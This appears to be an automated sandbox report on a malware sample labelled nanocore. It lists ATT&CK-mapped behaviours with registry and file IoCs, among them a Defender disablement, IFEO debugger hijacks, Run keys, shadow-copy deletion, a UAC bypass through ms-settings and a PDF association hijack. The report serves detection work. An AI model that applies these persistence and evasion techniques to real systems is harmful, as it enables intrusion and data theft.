nanocore | 991f14937824feeeef27db0c89d576a7b732b6d2c54109520402df8aff9b9bb7

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	pyramidpad.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6192	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	pyramidpad.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	pyramidpad.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pyramidpad.io_chrome.exe"	pyramidpad.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	pyramidpad.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pyramidpad.io_chrome.exe"	pyramidpad.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	pyramidpad.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pyramidpad.io_chrome.exe"	pyramidpad.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	pyramidpad.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
1932	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	pyramidpad.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pyramidpad.io_chrome.exe"	pyramidpad.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pyramidpad.io_chrome.exe"	pyramidpad.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pyramidpad.io_chrome.exe"	pyramidpad.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3008	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	pyramidpad.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	pyramidpad.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	pyramidpad.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
6140	wscript.exe
5364	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	pyramidpad.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	pyramidpad.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1104	sc.exe
6728	sc.exe
2304	sc.exe
2696	sc.exe
6232	sc.exe
6016	sc.exe
4496	sc.exe
4136	sc.exe
6000	sc.exe
264	sc.exe
2624	sc.exe
6548	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1796	cmd.exe
5820	cmd.exe
1280	cmd.exe
5376	cmd.exe
3136	cmd.exe
1316	cmd.exe
6704	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3324	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
2696	NETSTAT.EXE
6232	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
1500	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4352	vssadmin.exe
1412	vssadmin.exe
828	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\WallpaperStyle = "2"	pyramidpad.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134304475605054436"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell	pyramidpad.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command\DelegateExecute	pyramidpad.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command	pyramidpad.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open	pyramidpad.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	pyramidpad.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	pyramidpad.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\pyramidpad.io_chrome.exe\" \"%1\""	pyramidpad.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pyramidpad.io_chrome.exe"	pyramidpad.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	pyramidpad.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	pyramidpad.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command	pyramidpad.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings	pyramidpad.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open	pyramidpad.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell	pyramidpad.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings	pyramidpad.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	pyramidpad.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4392	schtasks.exe
4848	schtasks.exe
4780	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6320	chrome.exe
6320	chrome.exe
6192	powershell.exe
6192	powershell.exe
6192	powershell.exe
1224	WMIC.exe
1224	WMIC.exe
1224	WMIC.exe
1224	WMIC.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
1940	WMIC.exe
1940	WMIC.exe
1940	WMIC.exe
1940	WMIC.exe
4888	WMIC.exe
4888	WMIC.exe
4888	WMIC.exe
4888	WMIC.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe
5228	pyramidpad.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5228	pyramidpad.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	6320	chrome.exe
Token: SeCreatePagefilePrivilege	6320	chrome.exe
Token: SeDebugPrivilege	6192	powershell.exe
Token: SeShutdownPrivilege	6320	chrome.exe
Token: SeCreatePagefilePrivilege	6320	chrome.exe
Token: SeShutdownPrivilege	6320	chrome.exe
Token: SeCreatePagefilePrivilege	6320	chrome.exe
Token: SeShutdownPrivilege	6320	chrome.exe
Token: SeCreatePagefilePrivilege	6320	chrome.exe
Token: SeShutdownPrivilege	6320	chrome.exe
Token: SeCreatePagefilePrivilege	6320	chrome.exe
Token: SeShutdownPrivilege	6320	chrome.exe
Token: SeCreatePagefilePrivilege	6320	chrome.exe
Token: SeIncreaseQuotaPrivilege	1224	WMIC.exe
Token: SeSecurityPrivilege	1224	WMIC.exe
Token: SeTakeOwnershipPrivilege	1224	WMIC.exe
Token: SeLoadDriverPrivilege	1224	WMIC.exe
Token: SeSystemProfilePrivilege	1224	WMIC.exe
Token: SeSystemtimePrivilege	1224	WMIC.exe
Token: SeProfSingleProcessPrivilege	1224	WMIC.exe
Token: SeIncBasePriorityPrivilege	1224	WMIC.exe
Token: SeCreatePagefilePrivilege	1224	WMIC.exe
Token: SeBackupPrivilege	1224	WMIC.exe
Token: SeRestorePrivilege	1224	WMIC.exe
Token: SeShutdownPrivilege	1224	WMIC.exe
Token: SeDebugPrivilege	1224	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1224	WMIC.exe
Token: SeRemoteShutdownPrivilege	1224	WMIC.exe
Token: SeUndockPrivilege	1224	WMIC.exe
Token: SeManageVolumePrivilege	1224	WMIC.exe
Token: 33	1224	WMIC.exe
Token: 34	1224	WMIC.exe
Token: 35	1224	WMIC.exe
Token: 36	1224	WMIC.exe
Token: SeBackupPrivilege	2168	vssvc.exe
Token: SeRestorePrivilege	2168	vssvc.exe
Token: SeAuditPrivilege	2168	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1224	WMIC.exe
Token: SeSecurityPrivilege	1224	WMIC.exe
Token: SeTakeOwnershipPrivilege	1224	WMIC.exe
Token: SeLoadDriverPrivilege	1224	WMIC.exe
Token: SeSystemProfilePrivilege	1224	WMIC.exe
Token: SeSystemtimePrivilege	1224	WMIC.exe
Token: SeProfSingleProcessPrivilege	1224	WMIC.exe
Token: SeIncBasePriorityPrivilege	1224	WMIC.exe
Token: SeCreatePagefilePrivilege	1224	WMIC.exe
Token: SeBackupPrivilege	1224	WMIC.exe
Token: SeRestorePrivilege	1224	WMIC.exe
Token: SeShutdownPrivilege	1224	WMIC.exe
Token: SeDebugPrivilege	1224	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1224	WMIC.exe
Token: SeRemoteShutdownPrivilege	1224	WMIC.exe
Token: SeUndockPrivilege	1224	WMIC.exe
Token: SeManageVolumePrivilege	1224	WMIC.exe
Token: 33	1224	WMIC.exe
Token: 34	1224	WMIC.exe
Token: 35	1224	WMIC.exe
Token: 36	1224	WMIC.exe
Token: SeShutdownPrivilege	6320	chrome.exe
Token: SeCreatePagefilePrivilege	6320	chrome.exe
Token: SeShutdownPrivilege	6320	chrome.exe
Token: SeCreatePagefilePrivilege	6320	chrome.exe
Token: SeShutdownPrivilege	6320	chrome.exe
Token: SeCreatePagefilePrivilege	6320	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe
6320	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5228	pyramidpad.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5228 wrote to memory of 6320	5228	pyramidpad.io_chrome.exe	90
PID 6320 wrote to memory of 6496	6320	chrome.exe	91
PID 5228 wrote to memory of 6192	5228	pyramidpad.io_chrome.exe	92
PID 5228 wrote to memory of 4496	5228	pyramidpad.io_chrome.exe	94
PID 6320 wrote to memory of 6212	6320	chrome.exe	96
PID 6320 wrote to memory of 3324	6320	chrome.exe	97
PID 6320 wrote to memory of 1176	6320	chrome.exe	99
PID 6320 wrote to memory of 6212	6320	chrome.exe	96
PID 6320 wrote to memory of 1176	6320	chrome.exe	99
PID 6320 wrote to memory of 6932	6320	chrome.exe	100
PID 6320 wrote to memory of 6932	6320	chrome.exe	100
PID 6320 wrote to memory of 1208	6320	chrome.exe	188
PID 6320 wrote to memory of 1208	6320	chrome.exe	188
PID 5228 wrote to memory of 4136	5228	pyramidpad.io_chrome.exe	164
PID 5228 wrote to memory of 6728	5228	pyramidpad.io_chrome.exe	104
PID 5228 wrote to memory of 6000	5228	pyramidpad.io_chrome.exe	106
PID 6320 wrote to memory of 4560	6320	chrome.exe	108
PID 6320 wrote to memory of 4560	6320	chrome.exe	108
PID 5228 wrote to memory of 2304	5228	pyramidpad.io_chrome.exe	109
PID 5228 wrote to memory of 2696	5228	pyramidpad.io_chrome.exe	162
PID 5228 wrote to memory of 264	5228	pyramidpad.io_chrome.exe	113
